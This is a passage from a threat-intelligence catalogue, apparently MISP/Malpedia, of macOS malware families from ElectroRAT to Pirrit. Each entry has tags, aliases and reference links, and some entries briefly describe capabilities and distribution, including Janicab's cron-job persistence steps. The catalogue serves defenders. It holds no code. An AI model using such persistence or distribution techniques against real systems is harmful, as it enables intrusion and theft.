According to PCrisk, ElectroRAT is a Remote Access Trojan (RAT) written in the Go programming language and designed to target Windows, MacOS, and Linux users. Cyber criminals behind ElectroRAT target mainly cryptocurrency users. This RAT is distributed via the trojanized Jamm, eTrader, and DaoPoker applications.

The tag is: *misp-galaxy:malpedia="ElectroRAT"*

ElectroRAT is also known as:

Table 2199. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.electro_rat">https://malpedia.caad.fkie.fraunhofer.de/details/osx.electro_rat</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x61.html">https://objective-see.com/blog/blog_0x61.html</a></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/blog/research/operation-electrorat-attacker-creates-fake-companies-to-drain-your-crypto-wallets/">https://www.intezer.com/blog/research/operation-electrorat-attacker-creates-fake-companies-to-drain-your-crypto-wallets/</a></td>
</tr>
</tbody>
</table>

**EvilOSX**

The tag is: *misp-galaxy:malpedia="EvilOSX"*

EvilOSX is also known as:
EvilQuest

According to PcRisk, EvilQuest (also known as ThiefQuest) is like many other malicious programs of this type - it encrypts files and creates a ransom message. In most cases, this type of malware modifies the names of encrypted files by appending certain extensions, however, this ransomware leaves them unchanged.

It drops the "READ_ME_NOW.txt" in each folder that contains encrypted data and displays another ransom message in a pop-up window. Additionally, this malware is capable of detecting if certain files are stored on the computer, operates as a keylogger, and receives commands from a Command & Control server.

The tag is: misp-galaxy:malpedia="EvilQuest"

EvilQuest is also known as:

- ThiefQuest

Table 2201. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.evilquest">https://malpedia.caad.fkie.fraunhofer.de/details/osx.evilquest</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x59.html">https://objective-see.com/blog/blog_0x59.html</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x5F.html">https://objective-see.com/blog/blog_0x5F.html</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/gdbinit/evilquest_deobfuscator">https://github.com/gdbinit/evilquest_deobfuscator</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://twitter.com/dineshdina04/status/1277668001538433025">https://twitter.com/dineshdina04/status/1277668001538433025</a></td>
<td></td>
</tr>
</tbody>
</table>
**FailyTale**

The tag is: misp-galaxy:malpedia="FailyTale"

FailyTale is also known as:

*Table 2202. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.failytale">https://malpedia.caad.fkie.fraunhofer.de/details/osx.failytale</a></td>
</tr>
</tbody>
</table>

**FinFisher (OS X)**

The tag is: misp-galaxy:malpedia="FinFisher (OS X)"

FinFisher (OS X) is also known as:

*Table 2203. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.finfisher">https://malpedia.caad.fkie.fraunhofer.de/details/osx.finfisher</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x5F.html">https://objective-see.com/blog/blog_0x5F.html</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x4F.html">https://objective-see.com/blog/blog_0x4F.html</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/finspy-unseen-findings/104322/">https://securelist.com/finspy-unseen-findings/104322/</a></td>
</tr>
<tr>
<td><a href="https://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/">https://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/</a></td>
</tr>
</tbody>
</table>

**FlashBack**

The tag is: misp-galaxy:malpedia="FlashBack"

FlashBack is also known as:

- FakeFlash

*Table 2204. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.flashback">https://malpedia.caad.fkie.fraunhofer.de/details/osx.flashback</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Flashback_(Trojan)">https://en.wikipedia.org/wiki/Flashback_(Trojan)</a></td>
</tr>
<tr>
<td><a href="https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed">https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed</a></td>
</tr>
</tbody>
</table>
FruitFly

The tag is: misp-galaxy:malpedia="FruitFly"

FruitFly is also known as:

- Quimitchin

Table 2205. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.fruitfly">https://malpedia.caad.fkie.fraunhofer.de/details/osx.fruitfly</a></td>
</tr>
<tr>
<td><a href="https://www.documentcloud.org/documents/4346338-Phillip-Durachinsky-Indictment.html">https://www.documentcloud.org/documents/4346338-Phillip-Durachinsky-Indictment.html</a></td>
</tr>
<tr>
<td><a href="https://arstechnica.com/security/2017/01/newly-discovered-mac-malware-may-have-circulated-in-the-wild-for-2-years/">https://arstechnica.com/security/2017/01/newly-discovered-mac-malware-may-have-circulated-in-the-wild-for-2-years/</a></td>
</tr>
</tbody>
</table>

FULLHOUSE

Fullhouse (AKA FULLHOUSE.DOORED) is a custom backdoor used by subsets of the North Korean Lazarus Group. Fullhouse is written in C/C++ and includes the capabilities of a tunneler and backdoor commands support such as shell command execution, file transfer, file management, and process injection. C2 communications occur via HTTP and require configuration through the command line or a configuration file.

The tag is: misp-galaxy:malpedia="FULLHOUSE"

FULLHOUSE is also known as:

Table 2206. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.fullhouse">https://malpedia.caad.fkie.fraunhofer.de/details/osx.fullhouse</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/north-korea-supply-chain">https://www.mandiant.com/resources/blog/north-korea-supply-chain</a></td>
</tr>
</tbody>
</table>
GIMMICK (OS X)

This multi-platform malware is a ObjectiveC written macOS variant dubbed GIMMICK by Volexity. This malware is a file-based C2 implant used by Storm Cloud.

The tag is: misp-galaxy:malpedia="GIMMICK (OS X)"

GIMMICK (OS X) is also known as:

*Table 2207. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.gimmick">https://malpedia.caad.fkie.fraunhofer.de/details/osx.gimmick</a></td>
</tr>
<tr>
<td><a href="https://cybersecuritynews.com/gimmick-malware-attacks/">https://cybersecuritynews.com/gimmick-malware-attacks/</a></td>
</tr>
<tr>
<td><a href="https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/">https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/</a></td>
</tr>
</tbody>
</table>

Gmera

According to PCrisk, GMERA (also known as Kassi trojan) is malicious software that disguises itself as Stockfolio, a legitimate trading app created for Mac users.

Research shows that there are two variants of this malware, one detected as Trojan.MacOS.GMERA.A and the other as Trojan.MacOS.GMERA.B. Cyber criminals proliferate GMERA to steal various information and upload it to a website under their control. To avoid damage caused by this malware, remove GMERA immediately.

The tag is: misp-galaxy:malpedia="Gmera"

Gmera is also known as:

- Kassi
- StockSteal

*Table 2208. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.gmera">https://malpedia.caad.fkie.fraunhofer.de/details/osx.gmera</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x53.html">https://objective-see.com/blog/blog_0x53.html</a></td>
</tr>
</tbody>
</table>
**HiddenLotus**


The tag is: `misp-galaxy:malpedia="HiddenLotus"`

HiddenLotus is also known as:

---

**Table 2209. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.hiddenlotus">https://malpedia.caad.fkie.fraunhofer.de/details/osx.hiddenlotus</a></td>
</tr>
</tbody>
</table>

---

**iMuler**

The threat was a multi-stage malware displaying a decoy that appeared to the victim as a Chinese language article on the long-running dispute over the Diaoyu Islands; an array of erotic pictures; or images of Tibetan organisations. It consisted of two stages: Revir was the dropper/downloader and Imuler was the backdoor capable of the following operations:

- capture screenshots
- exfiltrate files to a remote computer
- send various information about the infected computer
- extract ZIP archive
- download files from a remote computer and/or the Internet
- run executable files

The tag is: `misp-galaxy:malpedia="iMuler"`

iMuler is also known as:

- Revir

---

**Table 2210. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.imuler">https://malpedia.caad.fkie.fraunhofer.de/details/osx.imuler</a></td>
</tr>
</tbody>
</table>
**Interception (OS X)**

The tag is: `misp-galaxy:malpedia="Interception (OS X)"

Interception (OS X) is also known as:

Table 2211. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.interception">https://malpedia.caad.fkie.fraunhofer.de/details/osx.interception</a></td>
</tr>
<tr>
<td><a href="https://labs.k7computing.com/index.php/lazarus-apt-s-operation-interception-uses-signed-binary/">https://labs.k7computing.com/index.php/lazarus-apt-s-operation-interception-uses-signed-binary/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ESETresearch/status/1559553324998955010">https://twitter.com/ESETresearch/status/1559553324998955010</a></td>
</tr>
</tbody>
</table>

**Janicab (OS X)**

According to Patrick Wardle, this malware persists a python script as a cron job. Steps: 1. Python installer first saves any existing cron jobs into a temporary file named '/tmp/dump'. 2. Appends its new job to this file. 3. Once the new cron job has been added 'python (~/.t/runner.pyc)' runs every minute.

The tag is: `misp-galaxy:malpedia="Janicab (OS X)"

Janicab (OS X) is also known as:

Table 2212. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.janicab">https://malpedia.caad.fkie.fraunhofer.de/details/osx.janicab</a></td>
</tr>
<tr>
<td><a href="https://www.malwarology.com/2022/05/janicab-series-attrition-and-iocs/">https://www.malwarology.com/2022/05/janicab-series-attrition-and-iocs/</a></td>
</tr>
<tr>
<td><a href="https://www.malwarology.com/2022/05/janicab-series-the-core-artifact/">https://www.malwarology.com/2022/05/janicab-series-the-core-artifact/</a></td>
</tr>
<tr>
<td><a href="https://www.macmark.de/blog/osx_blog_2013-08-a.php">https://www.macmark.de/blog/osx_blog_2013-08-a.php</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/deathstalker-mercenary-triumvirate/98177/">https://securelist.com/deathstalker-mercenary-triumvirate/98177/</a></td>
</tr>
<tr>
<td><a href="https://www.malwarology.com/2022/05/janicab-series-first-steps-in-the-infection-chain/">https://www.malwarology.com/2022/05/janicab-series-first-steps-in-the-infection-chain/</a></td>
</tr>
<tr>
<td><a href="https://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/">https://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/</a></td>
</tr>
<tr>
<td><a href="https://www.malwarology.com/posts/5-janicab-part_1/">https://www.malwarology.com/posts/5-janicab-part_1/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/apt-trends-report-q3-2020/99204/">https://securelist.com/apt-trends-report-q3-2020/99204/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/deathstalker-targets-legal-entities-with-new-janicab-variant/108131/">https://securelist.com/deathstalker-targets-legal-entities-with-new-janicab-variant/108131/</a></td>
</tr>
<tr>
<td><a href="https://sec0wn.blogspot.com/2018/12/powersing-from-lnk-files-to-janicab.html">https://sec0wn.blogspot.com/2018/12/powersing-from-lnk-files-to-janicab.html</a></td>
</tr>
</tbody>
</table>
JokerSpy

The tag is: *misp-galaxy:malpedia=*"JokerSpy"

JokerSpy is also known as:

Table 2213. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.elastic.co/security-labs/inital-research-of-jokerspy">https://www.elastic.co/security-labs/inital-research-of-jokerspy</a></td>
</tr>
</tbody>
</table>

KeRanger

The tag is: *misp-galaxy:malpedia=*"KeRanger"

KeRanger is also known as:

Table 2214. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.keranger">https://malpedia.caad.fkie.fraunhofer.de/details/osx.keranger</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x16.html">https://objective-see.com/blog/blog_0x16.html</a></td>
</tr>
</tbody>
</table>

Keydnap

The tag is: *misp-galaxy:malpedia=*"Keydnap"

Keydnap is also known as:

Table 2215. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.keydnap">https://malpedia.caad.fkie.fraunhofer.de/details/osx.keydnap</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x16.html">https://objective-see.com/blog/blog_0x16.html</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2016/08/30/osxkeydnap-spreads-via-signed-transmission-application/">https://www.welivesecurity.com/2016/08/30/osxkeydnap-spreads-via-signed-transmission-application/</a></td>
</tr>
</tbody>
</table>
**Kitmos**

The tag is: `misp-galaxy:malpedia="Kitmos"`

Kitmos is also known as:

- KitM

**Table 2216. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.kitmos">https://malpedia.caad.fkie.fraunhofer.de/details/osx.kitmos</a></td>
</tr>
</tbody>
</table>

**Komplex**

The tag is: `misp-galaxy:malpedia="Komplex"`

Komplex is also known as:

- JHUHUIGIT
- JKEYSKW
- SedUploader

**Table 2217. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.komplex">https://malpedia.caad.fkie.fraunhofer.de/details/osx.komplex</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x16.html">https://objective-see.com/blog/blog_0x16.html</a></td>
</tr>
<tr>
<td><a href="https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html">https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html</a></td>
</tr>
</tbody>
</table>

**Lador**

The tag is: `misp-galaxy:malpedia="Lador"`

Lador is also known as:

**Table 2218. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.lador">https://malpedia.caad.fkie.fraunhofer.de/details/osx.lador</a></td>
</tr>
</tbody>
</table>
Lambert (OS X)

The tag is: misp-galaxy:malpedia="Lambert (OS X)"

Lambert (OS X) is also known as:

- GreenLambert

Table 2219. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.lambert">https://malpedia.caad.fkie.fraunhofer.de/details/osx.lambert</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x68.html">https://objective-see.com/blog/blog_0x68.html</a></td>
</tr>
</tbody>
</table>

Laoshu

The tag is: misp-galaxy:malpedia="Laoshu"

Laoshu is also known as:

Table 2220. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.laoshu">https://malpedia.caad.fkie.fraunhofer.de/details/osx.laoshu</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x16.html">https://objective-see.com/blog/blog_0x16.html</a></td>
</tr>
</tbody>
</table>

Leverage

The tag is: misp-galaxy:malpedia="Leverage"

Leverage is also known as:

Table 2221. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.leverage">https://malpedia.caad.fkie.fraunhofer.de/details/osx.leverage</a></td>
</tr>
<tr>
<td><a href="https://www.alienvault.com/blogs/labs-research/osx-leveragea-analysis">https://www.alienvault.com/blogs/labs-research/osx-leveragea-analysis</a></td>
</tr>
</tbody>
</table>
LockBit (OS X)

The tag is: \textit{misp-galaxy:malpedia="LockBit (OS X)"}

LockBit (OS X) is also known as:

Table 2222. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.lockbit">https://malpedia.caad.fkie.fraunhofer.de/details/osx.lockbit</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/">https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/</a></td>
</tr>
<tr>
<td><a href="https://krebsonsecurity.com/2023/05/russian-hacker-wazawaka-indicted-for-ransomware/">https://krebsonsecurity.com/2023/05/russian-hacker-wazawaka-indicted-for-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1647384505550876675">https://twitter.com/malwrhunterteam/status/1647384505550876675</a></td>
</tr>
<tr>
<td><a href="https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%5C%20-">https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1\%20-</a> Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf</td>
</tr>
<tr>
<td><a href="https://medium.com/@lcam/lighting-the-exfiltration-infrastructure-of-a-lockbit-affiliate-and-more-f57fbb7a4e79">https://medium.com/@lcam/lighting-the-exfiltration-infrastructure-of-a-lockbit-affiliate-and-more-f57fbb7a4e79</a></td>
</tr>
</tbody>
</table>

MacDownloader

The tag is: \textit{misp-galaxy:malpedia="MacDownloader"}

MacDownloader is also known as:

Table 2223. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.macdownloader">https://malpedia.caad.fkie.fraunhofer.de/details/osx.macdownloader</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-gypsy">https://www.secureworks.com/research/threat-profiles/cobalt-gypsy</a></td>
</tr>
<tr>
<td><a href="https://iranthreats.github.io/resources/macdownloader-macos-malware/">https://iranthreats.github.io/resources/macdownloader-macos-malware/</a></td>
</tr>
</tbody>
</table>

MacInstaller

The tag is: \textit{misp-galaxy:malpedia="MacInstaller"}

MacInstaller is also known as:

Table 2224. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.macinstaller">https://malpedia.caad.fkie.fraunhofer.de/details/osx.macinstaller</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x16.html">https://objective-see.com/blog/blog_0x16.html</a></td>
</tr>
</tbody>
</table>
**MacRansom**

The tag is: *misp-galaxy:malpedia="MacRansom"*

MacRansom is also known as:

*Table 2225. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.macransom">https://malpedia.caad.fkie.fraunhofer.de/details/osx.macransom</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x1E.html">https://objective-see.com/blog/blog_0x1E.html</a></td>
</tr>
<tr>
<td><a href="https://blog.fortinet.com/2017/06/09/macransom-offered-as-ransomware-as-a-service">https://blog.fortinet.com/2017/06/09/macransom-offered-as-ransomware-as-a-service</a></td>
</tr>
</tbody>
</table>

**MacSpy**

The tag is: *misp-galaxy:malpedia="MacSpy"*

MacSpy is also known as:

*Table 2226. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.macsy">https://malpedia.caad.fkie.fraunhofer.de/details/osx.macsy</a></td>
</tr>
<tr>
<td><a href="https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service">https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service</a></td>
</tr>
</tbody>
</table>

**MacVX**

The tag is: *misp-galaxy:malpedia="MacVX"*

MacVX is also known as:

*Table 2227. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.macvx">https://malpedia.caad.fkie.fraunhofer.de/details/osx.macvx</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x16.html">https://objective-see.com/blog/blog_0x16.html</a></td>
</tr>
</tbody>
</table>

**MaMi**

The tag is: *misp-galaxy:malpedia="MaMi"*

MaMi is also known as:

*Table 2228. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.mami">https://malpedia.caad.fkie.fraunhofer.de/details/osx.mami</a></td>
</tr>
</tbody>
</table>
Manuscrypt

The tag is: misp-galaxy:malpedia="Manuscrypt"

Manuscrypt is also known as:

Table 2229. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.manuscrypt">https://malpedia.caad.fkie.fraunhofer.de/details/osx.manuscrypt</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/BitsOfBinary/status/1337330286787518464">https://twitter.com/BitsOfBinary/status/1337330286787518464</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/BitsOfBinary/status/1321488299932983296">https://twitter.com/BitsOfBinary/status/1321488299932983296</a></td>
</tr>
<tr>
<td><a href="https://www.anquanke.com/post/id/223817">https://www.anquanke.com/post/id/223817</a></td>
</tr>
</tbody>
</table>

Mokes (OS X)

The tag is: misp-galaxy:malpedia="Mokes (OS X)"

Mokes (OS X) is also known as:

Table 2230. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.mokes">https://malpedia.caad.fkie.fraunhofer.de/details/osx.mokes</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x16.html">https://objective-see.com/blog/blog_0x16.html</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/blog/research/75990/the-missing-piece-sophisticated-os-x-backdoor-discovered/">https://securelist.com/blog/research/75990/the-missing-piece-sophisticated-os-x-backdoor-discovered/</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x53.html">https://objective-see.com/blog/blog_0x53.html</a></td>
</tr>
</tbody>
</table>

Mughthesec

The tag is: misp-galaxy:malpedia="Mughthesec"

Mughthesec is also known as:

Table 2231. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.mughthesec">https://malpedia.caad.fkie.fraunhofer.de/details/osx.mughthesec</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x20.html">https://objective-see.com/blog/blog_0x20.html</a></td>
</tr>
</tbody>
</table>
NetWire

The tag is: misp-galaxy:malpedia="NetWire"

NetWire is also known as:

Table 2232. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.netwire">https://malpedia.caad.fkie.fraunhofer.de/details/osx.netwire</a></td>
</tr>
</tbody>
</table>

OceanLotus

According to PcRisk, Research shows that the OceanLotus 'backdoor' targets MacOS computers. Cyber criminals behind this backdoor have already used this malware to attack human rights and media organizations, some research institutes, and maritime construction companies.

The OceanLotus backdoor is distributed via a fake Adobe Flash Player installer and a malicious Word document (it is likely that threat authors distribute the document via malspam emails).

The tag is: misp-galaxy:malpedia="OceanLotus"

OceanLotus is also known as:

Table 2233. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.oceanlotus">https://malpedia.caad.fkie.fraunhofer.de/details/osx.oceanlotus</a></td>
</tr>
<tr>
<td><a href="https://tradahacking.vn/%C4%91%E1%BB%A3t-r%E1%BB%93i-t%C3%B4i-c%C4%91%E1%BB%93ng-m%E1%BB%99t-status-xin-d%E1%BA%A1o-tr%C3%AAn-fb-may-qu%C3%A1n-g%E1%BB%ADi-cho-537b19ee3468">https://tradahacking.vn/%C4%91%E1%BB%A3t-r%E1%BB%93i-t%C3%B4i-c%C4%91%E1%BB%93ng-m%E1%BB%99t-status-xin-d%E1%BA%A1o-tr%C3%AAn-fb-may-qu%C3%A1n-g%E1%BB%ADi-cho-537b19ee3468</a></td>
</tr>
<tr>
<td><a href="https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries">https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html">https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html</a></td>
</tr>
</tbody>
</table>
Olyx

The tag is: misp-galaxy:malpedia="Olyx"

Olyx is also known as:

Table 2234. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.olyx">https://malpedia.caad.fkie.fraunhofer.de/details/osx.olyx</a></td>
</tr>
<tr>
<td><a href="https://news.drweb.com/show/?i=1750&amp;lng=en&amp;c=14">https://news.drweb.com/show/?i=1750&amp;lng=en&amp;c=14</a></td>
</tr>
</tbody>
</table>

oRAT

SentinelOne describes this as a malware written in Go, mixing own custom code with code from public repositories.

The tag is: misp-galaxy:malpedia="oRAT"

oRAT is also known as:

Table 2235. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.orat">https://malpedia.caad.fkie.fraunhofer.de/details/osx.orat</a></td>
</tr>
<tr>
<td><a href="https://documents.trendmicro.com/assets/txt/earth-berberoka-macos-iocs-2.txt">https://documents.trendmicro.com/assets/txt/earth-berberoka-macos-iocs-2.txt</a></td>
</tr>
<tr>
<td><a href="https://www.sentinelone.com/blog/from-the-front-lines-unsigned-macos-orat-malware-gambles-for-the-win/">https://www.sentinelone.com/blog/from-the-front-lines-unsigned-macos-orat-malware-gambles-for-the-win/</a></td>
</tr>
</tbody>
</table>

OSAMiner

The tag is: misp-galaxy:malpedia="OSAMiner"

OSAMiner is also known as:

Table 2236. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Patcher

This crypto-ransomware for macOS was caught spreading via BitTorrent distribution sites in February 2017, masquerading as 'Patcher', an application used for pirating popular software like Adobe Premiere Pro or Microsoft Office for Mac.

The downloaded torrent contained an application bundle in the form of a single zip file. After launching the fake application, the main window of the fake cracking tool was displayed.

The file encryption process was launched after the misguided victim clicked 'Start'. Once executed, the ransomware generated a random 25-character string and set it as the key for RC4 encryption of all of the user's files. It then demanded ransom in Bitcoin, as instructed in the 'README!' .txt file copied all over the user's directories.

Despite the instructions being quite thorough, Patcher lacked the functionality to communicate with any C&C server, and therefore made it impossible for its operators to decrypt affected files. The randomly generated encryption key was also too long to be guessed via a brute-force attack, leaving the encrypted data unrecoverable in a reasonable amount of time.

The tag is: misp-galaxy:malpedia="Patcher"

Patcher is also known as:

- FileCoder
- Findzip

Table 2237. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.patcher">https://malpedia.caad.fkie.fraunhofer.de/details/osx.patcher</a></td>
</tr>
<tr>
<td><a href="http://www.welivesecurity.com/2017/02/22/new-crypto-ransomware-hits-macos/">http://www.welivesecurity.com/2017/02/22/new-crypto-ransomware-hits-macos/</a></td>
</tr>
</tbody>
</table>

PintSized

Backdoor as a fork of OpenSSH_6.0 with no logging, and “-P” and “-z” hidden command arguments. “PuffySSH_5.8p1” string.

The tag is: misp-galaxy:malpedia="PintSized"

PintSized is also known as:

Table 2238. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.pintsized">https://malpedia.caad.fkie.fraunhofer.de/details/osx.pintsized</a></td>
</tr>
</tbody>
</table>
**Pirrit**

The tag is: `misp-galaxy:malpedia="Pirrit"`

Pirrit is also known as:

*Table 2239. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.pirrit">https://malpedia.caad.fkie.fraunhofer.de/details/osx.pirrit</a></td>
</tr>
</tbody>
</table>

**POOLRAT**

